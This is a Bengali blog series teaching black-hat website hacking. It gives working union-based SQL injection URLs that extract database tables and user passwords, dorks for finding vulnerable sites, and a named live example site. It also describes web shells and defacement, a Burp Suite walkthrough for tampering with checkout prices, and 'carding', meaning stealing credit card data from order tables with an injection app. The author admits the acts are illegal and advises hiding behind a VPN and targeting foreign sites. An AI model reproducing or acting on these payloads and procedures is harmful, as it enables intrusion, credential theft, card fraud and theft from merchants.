Time

|

January 31, 2022

[Web Hack] {Live Hack}Sql Injection ব্যাবহার করে ওয়েবসাইট হ্যাকিং।। পার্ট -3

 আসসালামু আলাইকুম,

গত পর্বে sql injection এর পদ্ধতি দেখিয়েছিলাম কিভাবে একটা ওয়েবসাইটের ইউজারনেম,পাসওয়ার্ড হ্যাক করবেন। গত পর্বের টিউটোরিয়ালে আপনাদের অনেক সাপোর্ট পেয়েছি এজন্য অসংখ্য ধন্যবাদ এবং Trickbd কে আন্তরিক ধন্যবাদ জানাচ্ছি।

গত পর্বে অনেকের টিউটোরিয়ালটি বুঝতে সমস্যা হয়েছিল শুধুমাত্র রাইট আপের কারণে। এই পর্বে আমি একটা ভিডিও টিউটোরিয়াল দেবো,আশা করি আপনাদের বুঝতে সুবিধা হবে। ভিডিও টিউটোরিয়ালটি পোস্টের নিচে দেওয়া থাকবে।তার আগে কিছু বিষয় নিয়ে আবার একটু কথা বলি।

কুয়েরি (Query) এই বিষয়টি অনেকেই বুঝতে পারেন নাই।কিছু উদাহরণ দ্বারা ব্যাখ্যা করি।

http://www.iagcc.com – এটি একটা ওয়েবসাইট। এই লিংকে প্রবেশ করলে আপনি ওয়েবসাইটের হোমপেজে যাবেন।

http://www.iagcc.com/news.php?id=58
এই লিংকে মেইন হোমপেইজ এর লিংকের সাথে /news.php?id=58 যুক্ত হয়েছে। এই অংশকে প্যারামিটার বলা হয়।

http://www.iagcc.com/news.php?id=58
এই লিংকে প্রবেশ করলে আপনি ওয়েবসাইটের নিদিষ্ট একটা পেইজে প্রবেশ করবেন।

এখন প্যারামিটার সহ মেইন ওয়েবসাইটের লিংকের সাথে sql injection কমান্ড যুক্ত করবো।
http://www.iagcc.com/news.php?id=58+union+select+1,2,3,4,5,6–+

এখানে +union+select+1,2,3,4,5,6–+ এটি হলো sql injection কমান্ড।

http://www.iagcc.com/news.php?id=58+union+select+1,2,3,4,5,6–+ এই লিংকে প্রবেশ করলে আমরা sql injection কমান্ড এক্সিকিউট করতে পারব । এই লিংকটি একটি ওয়েবসাইটের এড্রেস বা ইউ আর এল।যেহেতু এখানে প্যারামিটারের পরে sql injection কমান্ড যুক্ত করা হয়েছে তাই এটাকে কুয়েরি বলছি।যা url তাই কুয়েরি।শুধুমাত্র নামের ভিন্নতা।

কুয়েরি রান বা এক্সিকিউট করা বলতে যেমন http://www.iagcc.com/news.php?id=58+union+select+1,2,3,4,5,6–+ এই লিংকটি বা কুয়েরিটি আপনার ওয়েব ব্রাউজারে ব্রাউজ করা।

কুয়েরি নিয়ে এতোটা আলোচনা করার কিছু না থাকলেও আমাদের কুয়েরি নিয়েই কাজ।কারন কুয়েরিতে সামান্য ভুল হলে আপনি এরর পাবেন।তাছাড়া প্যারামিটার অনেক সময় ভিন্ন ধরনের থাকতে পারে।তাই সম্পুর্ন ব্যাসিক থেকে ধারণা দিলাম।

★★ Automation Tools vs Manual process.

আমি ব্যাসিক sql injection এর Union based মেথডের ম্যানুয়াল টিউটোরিয়াল লিখছি।আপনি চাইলে এই কাজটি কোন টুল বা অ্যাপ বা সফটওয়্যার বা script দিয়ে করতে পারেন।এইক্ষেত্রে আপনাকে শুধুমাত্র ওয়েবসাইট লিংকটি এন্টার করা লাগবে।

কিন্তু এই টুলস ব্যবহারকারীদের কোন দাম নেই।টুলস ব্যবহার করে কিছু শেখা সম্ভব নয়।আপনি যদি কোন হ্যাকিং টিমে জয়েন করতে চান তাহলে স্কিল হিসাবে আপনাকে সব কিছুই manually করা লাগবে।তাছাড়া টুলসগুলোর লিমিটেশন রয়েছে।শুধুমাত্র ইজি সাইটগুলোতে হ্যাকিং এ সফল হয়।টুলস নিয়ে একটি বিস্তারিত পোস্ট করা হবে ইনশাআল্লাহ।

★★নিচের প্রয়োজনীয় স্টেপগুলো মনে রাখুন।
১.প্রথমে Vulnerability চেক।
২.তারপর সাইটের সর্বোচ্চ কলাম সংখ্যা খুজে বের করা।
৩.তারপর vulnerable কলামটি খুঁজে বের করা।
৪.vulnerable কলামে ইঞ্জেক্ট করে টেবিল খুঁজে বের করা।
৫.কলাম খুঁজে বের করা।
৬.কলাম থেকে ডাটা পাওয়া।

এই স্টেপগুলোর একটি ও বাদ দেয়া যাবে না।

ভিডিও টিউটোরিয়ালে সহজভাবে বোঝানোর চেষ্টা করেছি।কোন স্টেপ বুঝতে সমস্যা হলে কমেন্ট করে জানান।ধন্যবাদ।।।
নেক্সট টিউটোরিয়াল হবে শেল,ডিফেস,মিরর এর উপর।।
আল্লাহ হাফেজ।।।
N.B sceeen landscape e rotate kore niben.

[Web Hack] Sql Injection ব্যাবহার করে ওয়েবসাইট হ্যাকিং।। পার্ট -2

 আসসালামু আলাইকুম,

আজ আমি sql injection নিয়ে আলোচনা করব এবং হ্যাকিং পদ্ধতি দেখাবো।তো প্রথমে sql injection সম্পর্কে জেনে নিই।

★Sql injection একটি হ্যাকিং মেথড যা দিয়ে কোন sql vulnerable ওয়েবসাইটের গুরুত্বপূর্ণ ডাটা যেমন পাসওয়ার্ড হ্যাক করা হয়।যেহেতু ওয়েবসাইটে এডমিন পাসওয়ার্ড সংরক্ষিত থাকে তাই sqli ব্যাবহার করে সেগুলো পাওয়া যায়। গতপর্বে আমি কিছু হ্যাকিং মেথড এর নাম বলছিলাম,sql injection মেথড আবার কিছু ভাগে বিভক্ত।যেমন:Union Based,Error Based,Post,Blind,MSsqli ইত্যাদি। এই টিউটোরিয়ালে আমি Union Based Sql injection নিয়ে আলোচনা করব।

• ওয়েবসাইটের লিংক (url) এ sql injection কমান্ড রান করার বা যুক্ত করা হলো কুয়েরি।
Sql injection Union Based মেথড ব্যাবহারের জন্য নিচের সকল স্টেপ গুলো ফলো করেন।
Sql injection কার্যপদ্ধতিঃ
Vulnerable Column>Table>Columns>Data

★sql vulnerable ওয়েবসাইট সিলেক্ট :
এই ধাপে প্রথমে ডর্ক ব্যাবহার করে ওয়েবসাইট সিলেক্ট করুন।নিচে কিছু ডর্ক দেয়া হলো।
inrul:index.php?id=
inrul:page.php?id=
inrul:article.php?id=
inrul:news.php?id=
এই কি ওয়ার্ডগুলো গুগলে সার্চ করলে অসংখ্য সাইট পাবেন।

★Vulnerability Check:
ডর্ক ব্যাবহারের পর আপনি অনেক সাইট দেখতে পারবেন কিন্ত এই সাইটগুলো সব sql vulnerable নাও হতে পারে।এজন্য আমরা চেক করে নিব সাইটটি sql vulnerable কিনা।চেক করার জন্য নিচের পদ্ধতি দেখুনঃ
vulnerable চেক করার জন্য ওয়েবসাইটের (url) প্যারামিটারের পরে কিছু চিহ্ন যুক্ত করা হয়।যেমন:
মনে করেন আপনার সিলেক্টেড সাইট হলো
www.sqliss.com/news.php?id=2
তাহলে চেক করার জন্য আপনার কুয়েরি হবে :-
www.sqliss.com/news.php?id=2′
এই কুয়েরি রান করলে যদি ওয়েবপেজে কিছু পরিবর্তন বা sql এরর আসে তাহলে সাইটটি vulnerable (pic 2)।
নিচের প্রথম ছবির কুয়েরি চিহ্ন বাদে এবং ২য় ছবির কুয়েরি চিহ্নসহ।sql এররের উদাহরণ ২য় চিত্রে।
নো এরর

এরর

★Coloum Count:এই ধাপে আমরা সিলেক্টেড সাইটে কতগুলো কলাম রয়েছে তা বের করব।এইক্ষেত্রে প্যারামিটারের পর order+by কমান্ডটি যুক্ত করবো এবং বিভিন্ন সংখ্যার রেঞ্জ দিয়ে কলাম সংখ্যা বের করব।

এজন্য কুয়েরিঃ
www.sqliss.com/news.php?id=2’+order+by+8–+
এখানে রেঞ্জ হিসাবে আমি প্রথমে ৮টি কলাম ধরেছি অর্থাৎ যদি সাইটের কলাম সংখ্যা ৮ এর মধ্যে হয় তাহলে আমি সাইটের আসল কলাম সংখ্যা পেয়ে যাবো। যদি এই সাইটটির কলাম সংখ্যা ৮ এর বেশি হয় তাহলে আমাকে রেঞ্জ বাড়াতে হবে বা ৮ এর জায়গায় ১০,২০,৩০ দিয়ে দেখতে হবে।
নিচের উদাহরণ দেখুনঃ
1.www.sqliss.com/news.php?id=2’+order+by+8–+ (error)
2.www.sqliss.com/news.php?id=2’+order+by+7–+(error)
3.www.sqliss.com/news.php?id=2’+order+by+6–+(no error)

উপরে ৩ টি কুয়েরি আলাদাভাবে ৩ বার রান করানো হয়েছে। ১ম বার এরর মানে আপনি sql এরর দেখতে পারবেন যেমন সাইট চেক করার সময় দেখেছিলেন সেই একই রকম এরর।১ম কুয়েরি এরর তাই সাইটে ৮টি কলাম নেই।২য় কুয়েরিও এরর তাই সাইটে ৭ টি কলাম নেই।এখন ৩য় কুয়েরি সঠিক তাই সাইটে সর্বোচ্চ ৬টি কুয়েরি আছে।সুতরাং সাইটের কলাম সংখ্যা ৬।
বিদ্রঃ যদি এইভাবে ৩০/৫০ পর্যন্ত রেঞ্জ ব্যবহারের পরেও কোন এরর না আসে তাহলে প্যারামিটার এর পরে চিহ্ন (‘) বাদে চেষ্টা করুন তাহলে সমস্যা সমাধান হবে।
বিদ্রঃ এই ধাপ থেকে শেষ ধাপ পর্যন্ত sql কমান্ড এর শেষে –+ ব্যবহার করতে হবে।এই (–+) কে কুয়েরি ফিক্স বলা হয়।এই কুয়েরি ফিক্স না হলে sql injection সম্ভব না

নিচের ছবিতে ৭ নং কলাম নাই (২য় কুয়েরি) ।

নিচের ছবিতে ৩ নং কুয়েরি ব্যবহার নো এরর।অর্থাৎ কলাম ৬ টি।

★Vulnerable কলাম বের করাঃ
আগের ধাপে আমরা কলাম সংখ্যা বের করেছি। এখন বের করব সাইটের কোন কলামটি দূর্বল।এই দূর্বল কলাম ব্যবহার করে আমরা সাইটে কিছু কুয়েরি ইঞ্জেক্ট করব যার ফলে প্রয়োজনীয় ডাটা হ্যাক করতে পারব।
Vulnerable কলাম বের করার জন্য কুয়েরিঃ
www.sqliss.com/news.php?id=2’+union+select+1,2,3,4,5,6–+
এখন এই কুয়েরি রান করলে ওয়েবপেজে vulnerable কলাম নাম্বারটি দেখতে পারবেন।
যেমন এই ওয়েবসাইটের vulnerable কলাম 4 এবং 6।
বিদ্রঃ১.(যদি প্যারামিটারে চিহ্ন থাকে) যদি এইভাবে নাম্বার প্রিন্ট না হয় তাহলে প্যারামিটার এর পরে চিহ্ন (‘) বাদে চেষ্টা করুন তাহলে সমস্যা সমাধান হবে।
২.আবার যদি প্যারামিটারে চিহ্ন না থাকে মানে আগের ধাপে বাদ দিয়ে থাকেন তাহলে আবার চিহ্ন দিন।

★ওয়েবসাইটের ডাটাবেজ টেবিল বের করাঃ
Vulnerable কলাম সংখ্যা খুজে পাওয়ার পর ওয়েবসাইটের ডাটাবেইজ টেবিলগুলো বের করা।যেকোন Vulnerable কলামে ইঞ্জেক্ট করা যায়।আমি 4 নং এ ইঞ্জেক্ট করেছি। এজন্য কুয়েরিঃ
www.sqliss.com/news.php?id=2’+union+select+
1,2,3,group_concat(table_name),5,6+
from+information_schema.tables+
where+table_schema=database()–+
এখন আপনি ওয়েবসাইটের টেবিলগুলো দেখতে পারবেন।এখন এই টেবিলগুলো থেকে কলাম বের করতে হবে।
এখানে ২টি টেবিল আছে pages,users।

★Column বের করাঃ
এই ধাপটি আগের ধাপের মতোই,শুধু একটু কুয়েরি পরিবর্তন করতে হবে।
১.group_concat(table_name) এর পরিবর্তে group_concat(column_name) হবে।
2.information_schema.tables এর পরিবর্তে information_schema.columns হবে।
কুয়েরিঃ
www.sqliss.com/news.php?id=2’+union+select+1,2,3,
group_concat(column_name),5,6+
from+information_schema.columns+
where+table_schema=database()–+
এখন আপনি ওয়েবসাইটের সকল টেবিলের কলামগুলো দেখতে পারবেন।এখানে UserName,Password দুইটি কলাম উসেরস টেবিলের অন্তর্ভুক্ত। এখন এই কলামগুলো থেকে ডাটা বের করতে হবে।এই পদ্ধতি বা কুয়েরি ব্যবহার করলে সকল কলাম একসাথে ওয়েবপেজে প্রিন্ট হবে,এছাড়া আপনি চাইলে শুধুমাত্র যেকোন একটি নির্দষ্ট টেবিলের কলাম প্রিন্ট করতে পারবেন।
Users টেবিলের কলাম হলো UserName,Password।

★ডাটা প্রিন্ট: এখন আমরা শেষ ধাপে। এই ধাপে আপনি ওয়েবসাইটের ইউজার, পাসওয়ার্ড পাবেন।তাহলে চলুন কুয়েরি দিয়ে শুরু করি।

www.sqliss.com/news.php?id=2’+union+select+1,2,3,
group_concat(Password,0x3a,UserName),5,6+
from+users–+
যেহেতু কলামের মধ্যে ডাটা থাকে, সুতরাং এখন আপনার ওয়েবপেজে ইউজার এবং পাসওয়ার্ড প্রিন্ট হবে যা দিয়ে আপনি ওয়েবসাইটে অ্যাক্সেস নিতে পারবেন।

এই ছিল Sql injection Union Based ব্যাসিক।এই টিউটোরিয়ালটি এখানেই শেষ পরবর্তী পার্টে এডমিন প্যানেল,শেল,ডিফেস এবং মিরর বিষয় নিয়ে আলোচনা হবে।
আল্লাহ হাফেজ।

[Web Hack] ওয়েবসাইট হ্যাকিং এর ব্যাসিক এবং পদ্ধতি।। পার্ট -১

 আসসালামু আলাইকুম,

আমি নতুন কিছু নিয়ে আলোচনা করতে যাচ্ছি। আমার ধারাবাহিক টিউটোরিয়ালে সম্পুর্ন ওয়েবসাইট হ্যাকিং নিয়ে আলোচনা করবো।তো প্রথমে ব্যাসিক কিছু বিষয় আলোচনা করি,যেগুলো প্রয়োজনীয় ।
•হ্যাকিং : হ্যাকিং বলতে আমাদের প্রায় সবার মাথায় আসে কারো ফেসবুক/জি মেইল অ্যাকাউন্ট হ্যাক করা।কিন্তু কোন ওয়েবসাইট এর দূরবলতা ব্যাবহার করে ওই ওয়েবসাইটের সম্পুর্ন নিয়ন্ত্রণ নেয়া সম্ভব।

•বিভিন্ন ধরনের হ্যাকিং পদ্ধতি :
আপনারা সাধারণত কিছু জাতীয় হ্যাকিং পদ্ধতির সাথে পরিচিত Brute Force,Dictionary Attack। আসলে এই মেথডগুলোর খুবই কম সম্ভাবনা থাকে যা বর্তমানে নাই বললেই চলে।এখন কিছু হাই লেভেল হ্যাকিং মেথড এর সম্পর্কে জানি :
1.SQLI
2.XSS
3.CTF
4.LFI

5.RFI
6.CSRF

•ডর্কঃ রেনডম দূর্বল ওয়েবসাইট সার্চ ইঞ্জিন এর মাধ্যমে খুঁজে বের করা।যেমন: inrul:page.php?id= এই ডর্কটি গুগলে সার্চ করলে অনেকগুলো sqli মেথড ব্যাবহার উপযোগি ওয়েবসাইট পাবেন।
নিচের ছবিটি দেখুনঃ-

•এডমিন প্যানেল : এই বিষয়ে আমরা সবাই প্রায় পরিচিত। প্রয়োজনীয় ডাটা (user,password) হ্যাক করে এডমিন প্যানেলে অ্যাক্সেস নেয়া।কিন্তু বেশিরভাগ ওয়েবসাইটে পাসওয়ার্ড বিভিন্ন হ্যাস আকারে এনক্রিপ্ট থাকে এবং তা ডিক্রিপ্ট করে আসল পাসওয়ার্ড বার করতে হয়।

•শেল(Shell): শেল বা ওয়েব শেল একটি এক্সিকিউটেবল ফাইল (এটা php,javax,aps,apsx বিভিন্ন ফরম্যাট হতে পারে)।এডমিন প্যানেলে অ্যাক্সেস নেয়ার পর প্রথমেই শেল আপলোড দিতে হয়।শেল দিয়েই পরবর্তী ওয়েবসাইটের নিয়ন্ত্রণ করা হয়।পরবর্তীতে যদি ওয়েবসাইট মালিক পাসওয়ার্ড পরিবর্তন করে এবং যদি শেল ডিলিট না করে তবে আপনি আবার ওয়েবসাইটে অ্যাক্সেস নিতে পারবেন।

•ডিফেসিংঃ ওয়েবসাইট ডিফেস হলো হ্যাকারের দেয়া ম্যাসেজ যা ওই ওয়েবসাইটে সকল ভিজিটর দেখতে পারে। সহজ ভাষায় হ্যাকার ওয়েবসাইটের index বা হোমপেজে নিজের নাম এবং ম্যাসেজ দিয়ে থাকে।সাধারণত ডিফেসিং মাধ্যমে হ্যাকার তার নিজের নাম রেখে যায় এবং অন্যকে জানায়।
নিচের ছবিটি দেখুনঃ-

•মিররঃআপনি যে ওয়েবসাইট হ্যাক করেছেন তা পরবর্তীতে রিকভার হয়ে যাবে।তখন আপনি চাইলে প্রমাণ করতে পারবেন না যে আপনি সাইটটি হ্যাক করেছিলেন।তাই এই সমস্যা সমাধান করা যায় ডিফেস ওয়েবপেজ মিরর করে।zone-h.org এই সাইটটি মিরর এর জন্য জনপ্রিয়। আপনি কোন ডিফেস সাইট মিরর করলে তা আজীবন এখানে সংরক্ষণ থাকবে এবং পরবর্তীতে আপনি প্রমাণ দিতে পারবেন।।
নিচের ছবিটি দেখুনঃ-

আজ এই পর্যন্ত।পরবর্তী পোস্টে SQL injection দিয়ে ওয়েবসাইট হ্যাক করা নিয়ে আলোচনা করব।

Carding : ফ্রিতে শপিং করুন। parameter buy anything free.

 আসসালামু আলাইকুম।

আশা করি সবাই ভাল আছেন। আজ নতুন একটি টিউটোরিয়াল নিয়ে আসছি ‌।এই টিউটোরিয়াল দিয়ে আপনি ফ্রিতে যেকোনো দুর্বল ওয়েবসাইট থেকে ইচ্ছামতো কেনাকাটা করতে পারবেন।

আস্তে আস্তে অ্যাডভান্স টিউটোরিয়াল নিয়ে আসার ইচ্ছা ছিল বাট এটাই লাস্ট পোস্ট ।তাই ট্রাই করলাম কার্ডিং রিলেটেড কোন টিউটরিয়াল দিয়ে যাওয়ার।
সকল ওয়েবসাইটে কাজ করবেনা যেসব ওয়েবসাইট ভ্যালু রিফ্লেক্ট করে সেগুলোই কাজ করার সম্ভাবনা রয়েছে।
যা যা লাগবেঃ
১. পিসি
২.Burp Suite (আগের পোস্ট দেখে ব্রাউজার কনফিগার করুন)
৩.ইন্টারনেট কানেকশন
৪.ধৈর্য
৫.এবং একটু এই বিষয়ে জ্ঞান। আগের পোস্ট গুলো ফলো করুন না হলে এই টিউটোরিয়াল বুঝবেন না।

বিশেষ দ্রষ্টব্য সকলকে সাবধান করছি যে এটা অবৈধ সুতরাং নিজ দায়িত্বে ট্রাই করবেন। ভিপিএন ইউজ করতে পারেন এটাই বেটার হয়।

স্টেপসঃ
১.প্রথমে Burp Suite ওপেন করুন।
২.আপানার টার্গেট ওয়েবসাইট ওপেন করুন। আমি ইন্ডিয়ান একটি ওয়েবসাইট সিলেক্ট করেছি।
৩.এখন যেকোন আইটেম বা প্রডাক্ট কার্টে এড করুন।এখন থেকে কাজ শুরু।

৪.সবকিছু ঠিক থাকলে প্রথমে Burp Suite এ intercept on করে নিবেন।তারপর কার্ট পেইজে প্রবেশ করে Proceed to checkout এ ক্লিক করুন।

৫.এখন Burp Suite এ রেসপন্স দেখেতে পারবেন। এখন মূল প্রাইস খুঁজে বার করুন।

৬.প্রাইস খুঁজে পেলে আপনার ইচ্ছামতো এডিট করুন (যে প্রাইস আপনি দিতে চান)। তারপর সিলেক্ট করুন এবং Mouse right click>Do intercet>Response this request.

৭.Forward এ ক্লিক করুন।এখন আপনি সিলেক্টেড রেসপন্স দেখতে পাবেন।

৮.Burp suite এর নিচে সার্চ বক্সে মূল প্রাইস এন্টার করুন এবং খুঁজুন এবং যতগুলো মূল প্রাইস রেস্পন্সে দেখতে পাবেন সবগুলা এডিট করে আপনার ইচ্ছামতো প্রাইস দিন।আমি প্রাইস ১ রুপি দিয়েছি।

৯.এখন ফরওয়ার্ড এ ক্লিক করুন। সবকিছু ঠিকঠাক থাকলে আপনি check-out পেজে প্রবেশ করবেন।

১০.এখন সকল তথ্য পূরণ করুন এবং আপনার পছন্দের পেমেন্ট অপশন সিলেক্ট করুন এবং intercept on করুন।তারপর Proceed to pay ক্লিক করুন।

১১.Burp এ প্রবেশ করে রেসপন্স দেখুন এখানেই আসল কাজ। আবারো আগের মত সার্চ বক্সে মূল প্রাইস ইন্টার করে খুঁজুন এবং রেস্পন্সে যতগুলো ওই মূল প্রাইস পাবেন সবগুলো এডিট করুন। তারপর forward ক্লিক করুন।

১২.Burp এর সার্চে লক্ষ্য রাখুন দেখুন মূল প্রাইস পরের রেস্পন্স গুলোয় শো করে কি না।
১৩.যদি করে তাহলে আপনি এডিট করে আপনার ইচ্ছামতো প্রাইস দিন। এবং forward করতে থাকুন।

১৪.সঠিকভাবে করতে পারলে success মেসেজ পাবেন।এবং আপনি মেইন পেমেন্ট পেইজে পৌঁছাবেন এবং এখন আপনি দেখতে পারবেন আপনাকে ঠিক কত টাকা পে করতে হবে।এখানে আবার প্রাইস শো করতেছে তাই আবারো এডিট করতে হবে।



১৫. এখন লক্ষ্য করুন এই পেজে আপনি আপনার ইচ্ছামত যে প্রাইস এডিট করে দিয়েছিলেন সেই প্রাইস শো করতেছে এবং এটাই ফাইনাল প্রাইস আপনাকে এই প্রাইস টা পে করতে হবে।

এই ওয়েবসাইটে শুধুমাত্র ইন্ডিয়ান পেমেন্ট মেথড কাজ করে তাই পেমেন্ট করে দেখাতে পারলাম না যদিও বাংলাদেশী একটি ওয়েবসাইটে বিকাশ থেকে একই পদ্ধতি অবলম্বন করে পেইমেন্ট করছি এবং সাকসেসফুল হইছে।

Carding Tutorial:ক্রেডিট কার্ড হ্যাকিং। পর্ব -১ঃ কন্সেপ্ট

 আসসালামু আলাইকুম।

আজ নতুন একটি টিউটোরিয়াল নিয়ে আসছি।এই টিউটোরিয়াল আগের গুলো থেকে অনেক আলাদা।এটা সম্পুর্ন টপ ব্লাক হ্যাট হ্যাকিং। অনেকে হয়তো এটির সাথে পরিচিত। যারা পরিচিত নন তাদের জন্য প্রথম থেকেই শুরু করছি।

কার্ডিং কিঃ নরমালি বুঝতে পারছেন এটি কার্ড এর সাথে সম্পর্কিত। সাধারণত ক্রেডিট কার্ড এর ইনফর্মেশন হ্যাক করা কার্ডিং।শুধু এটাই না কার্ডিং অনেক রকমের হয়।মনে করেন যদি আপনার Coinbase বা অন্য কোন অনলাইন অ্যাকাউন্টের অ্যাক্সেস পেতে পারি সেটাও কার্ডিং।।

তবে কার্ডিং যে ক্ষেত্রে বেশি ব্যবহার হয় তার একটি উদাহরণ হলো কম দামে কোন প্রোডাক্ট কেনা বা ফ্রি কেনা।বাস্তব উদাহরণ হিসেবে মনে করুন আমি অনলাইন শপ থেকে একটি 5 ডলারের গিফট কার্ড কিনব।সাধারণ ভাবে এটার জন্য আমাকে 6 ডলার পে করতে হবে।
কিন্তু আমি কার্ডিং এর মাধ্যমে 1/2 বা 0 ডলারে আমার পেপাল থেকে পে করব এবং গিফট কার্ডটি কিনতে পারব।এই পদ্ধতিকে Html Injection বলা হয়ে থাকে।
অনেকে হয়তো বিশ্বাস করতে পারছেন না। আপনি যদি কখনো dark web এর অনলাইন গিফট কার্ড শপে ভিজিট করে থাকেন তাহলে আপনি দেখবেন ওখানে গিফট কার্ড গুলোর মূল্য নরমালি শপের থেকে অনেক কম।কারণ এগুলো কার্ডিং এর মাধ্যমে হ্যাক করে পরে বিক্রি করে। গুগল থেকে আরো জানতে পারবেন।

★কার্ডিং করার রিস্কঃ
কার্ডিং একটি খুবই মারাত্মক অপরাধ। যদিও সকল হ্যাকিং অপরাধ। এই কার্ডিং শিখে রাখতে পারেন কিন্তু প্রোপার সেফটি বাদে ট্রাই করা উচিৎ না।ভিপিএন কানেক্ট করে যদি মনে করেন আপনি সেফ তাহলে আপনি অনেক বিপদে পরবেন।এটা নিয়ে অন্য কোন দিন লিখব।যারা ট্রাই করতে চান তারা অবশ্যই বাংলাদেশের ওয়েবসাইটের কথা ভাববেনও না,অন্য দেশের ওয়েবসাইটে ট্রাই করতে পারেন নিজের সেফটি নিয়ে।সুতরাং বুঝে কাজ করবেন।

★কার্ডিং মেথডঃ কার্ডিং হ্যাকিং এর একটি ক্যাটাগরি। এই পদ্ধতি সম্পূর্ণ করতে আপনি কোন হ্যাকিং টেকনিক বা মেথড ব্যবহার করবেন এটি ওয়েবসাইটের দূরর্বলতার উপর নির্ভর করবে। Sqli,Html injection, xss,csrf
যেকোন পদ্ধতি হতে পারে।

sqli:এই পদ্ধতিতে আমরা ক্রেডিট কার্ড এর ইনফরমেশন পেতে পারি।

xss/csrf: এই পদ্ধতিতে একটা মডিফাইড লিংক দিয়ে অ্যাকাউন্ট হ্যাক করা যেতে পারে।

Html injection : এই পদ্ধতির কথা আগেই আলোচনা করেছি।প্রাইজ ভ্যালু পরিবর্তন করা যায়।
এছাড়াও অনেক পদ্ধতি ব্যবহার করা যায়। আপনার এবং ওয়েবসাইটের উপর নির্ভর করে কোনটা ব্যবহার করবেন।

ব্লাক হ্যাট হ্যাকিং এর মধ্যে কার্ডিং অন্যতম।সাধারণত আমরা ওয়েবসাইট হ্যাক করে ডিফেস দিয়ে থাকি এটাও ব্লাক হ্যাট হ্যাকিং। কিন্তু হোম ডিফেস না করলে ওয়েবসাইটের মালিক কেয়ার করে না।তাই সাধারণত লিগাল কোন প্রবলেম হয় না।কিন্তু কার্ডিং ব্যাক্তি মালিকানায় হস্তক্ষেপ করার সামিল তাই আপনাকে ডিটেক্ট করা মাত্রই আপনার বিপক্ষে লিগাল অ্যাকশান নিবে।এই রকম আর একটা ব্লাক হ্যাট হ্যাকিং পদ্ধতি আছে যা কার্ডিং এর থেকেও বেশি মারাত্মক এবং আপনি বাংলাদেশ থেকে অন্য দেশের কারো উপর এই পদ্ধতি ব্যবহার করলে এবং ডিটেক্ট হলে শুধু জেল না আরো অনেক কিছু হতে পারে। এই পদ্ধতির নাম হলো ডক্সিং।

★★Doxing ব্যাবহার করতে পারলে আপনি কারো ডিভাইসের সম্পুর্ন কন্ট্রোল নিতে পারবেন।যা দ্বারা আপনি নিদিষ্ট কোন ব্যাক্তির গ্যালারির ছবি,ফোনবুকের সকল নাম্বার,আইপি,লোকেশন, imei নাম্বার,মেইল সহ সকল কিছুই করতে পারবেন।সহজ এবং বাস্তব উদাহরণ দিয়ে বোঝায়।খবরে আপনি শুনে থাকবেন যে আমেরিকার অমোক পলিটিশিয়ানের মেইন ফাস হয়েছে।অথবা কোন celebrity এর কোন স্ক্যান্ডাল ফাস হয়েছে। এগুলো Doxing এর উদাহরণ। তবে হ্যাকাররা বিটকয়েন বা বড় অংকের টাকার জন্য এবং সেনসিটিভ ডাটা হ্যাক করার জন্য Doxing করে।অনেকে ভাবছেন এটাতো অনেক সহজ rat বা spyware সফটওয়্যার দিয়ে যে কোন মানুষ করতে পারে।হ্যা ওটা সম্ভব কিন্তু এই ক্ষেত্রে ভিক্টিমকে এই অ্যাপ ইন্সটল করতে হবে। Doxing এ এটির প্রোয়োজন নেই।ভিক্টিমের অজান্তেই হ্যাকার অ্যাক্সেস করে।প্রক্রিয়াটি জটিলও।

★★বি.দ্রঃএই টিউটোরিয়ালের সম্পুর্ন কোথাও পাবেন না।এই Doxing টপিক নিয়ে আমিও কিছু লিখব না। 

Carding Tutorial:ক্রেডিট কার্ড হ্যাকিং। পর্ব-২ঃDemostration

 আসসালামু আলাইকুম।

এই টিউটোরিয়ালে লাইভ কার্ডিং দেখাবো।

আমি বলেছিলাম অনেক পদ্ধতি আছে কার্ডিং করার জন্য।আমি sql injection পদ্ধতি ব্যবহার করে দেখাবো। সাধারণ sqli এবং sqli কার্ডিং একই রকম, কনসেপ্ট একটু আলাদা।আজ একটি automation tool ব্যবহার করছি।ম্যানুয়ালি sqli করছি না।তাই আগের sqli টিউটোরিয়াল এবং এটা এক নয়।

★★কার্ডিং ব্যাসিক কনসেপ্ট:কার্ডিং কি আগের পোস্টে বলেছি।কিভাবে কাজ করে এখন বলব।বর্তমান সময়ে ক্রেডিট কার্ড দিয়ে পেমেন্ট করা একটি নরমাল বিষয়। কার্ডিং জানতে হলে আগে ক্রেডিট কার্ড এর পেমেন্ট প্রোসেস সম্পর্কে জানতে হবে।ক্রেডিট কার্ড দিয়ে পেমেন্ট করতে হলে কার্ডের কিছু ইনফরমেশন দিতে হয়।সেগুলো হলোঃ credit card number,expire date,cvv। এই ইনফরমেশন গুলো সঠিক হলে আপনার পেমেন্ট সফল হয়।
এখন আপনি যে ইনফরমেশন গুলো এন্টার করলেন এগুলো ওয়েবসাইটের ডাটাবেইজ এ স্টোর হয়ে গেছে।আমরা এখন এই ডাটাবেইজ থেকে ইনফরমেশন গুলো বার করব।তাহলে আমাদের কার্ডিং প্রোসেস সম্পুর্ন হবে।

প্রতিবারের মতো স্টেপ বাই স্টেপ শুরু করি। এবং প্রতিবারের মতো এই পোস্টেরও ভিডিও টিউটোরিয়াল থাকবে টিউটোরিয়ালের শেষে।

বি.দ্রঃ অটোমেশন টুল আমি ব্যাবহার করতে নিরুৎসাহিত করি।কারণ এটা সহজ হলেও আপনার স্কিল ডেভেলপ হবে না এবং এর সাক্সেস রেট খুবই কম।বেশিরভাগ ওয়েবসাইট inject করতে পারে না।তাই ম্যানুয়ালি করার ট্রাই করবেন।

১.প্রথমে Droidsqli অ্যাপটি ডাউনলোড করুন।তারপর ওপেন করুন।

২.এখন target url এ আপনার sqli vulnerable ওয়েবসাইটটি প্যারামিটার সহ এন্টার করুন।

৩.উপরে ডান পাশে Inject এ ট্যাপ করুন।

৪.আপনার কাজ ৮০% শেষ। বসে থাকুন অ্যাপ নিজেই সব কাজ করবে।দেখুন যদি অ্যাপটি inject করতে সাক্সেস হয় তাহলে নিচের মতো দেখবেন।

৫.এখন ডাটাবেইজ এ অ্যাক্সেস করব।ট্যাপ করুন।

৬.এখন ডাটাবেইজ এর সব টেবিল দেখতে পারবেন।

৭.আমাদের টার্গেট কার্ডিং তাই আমাদের payment বা order বা shipping এই টাইপের টেবিল খুজতে হবে। এই ওয়েবসাইটে এই তিনটা টেবিলই পাইছি।

৮.Order টেবিল ক্লিক করলে আমরা এর কলাম দেখতে পারব।এই কলাম গুলো ইনফরমেশন বহন করছে।যেগুলো প্রয়োজন আমরা সেই কলামগুলো সিলেক্ট করে নিচে Get Data বাটনে ক্লিক করলে আপনি ইনফরমেশন গুলো পেয়ে যাবেন।

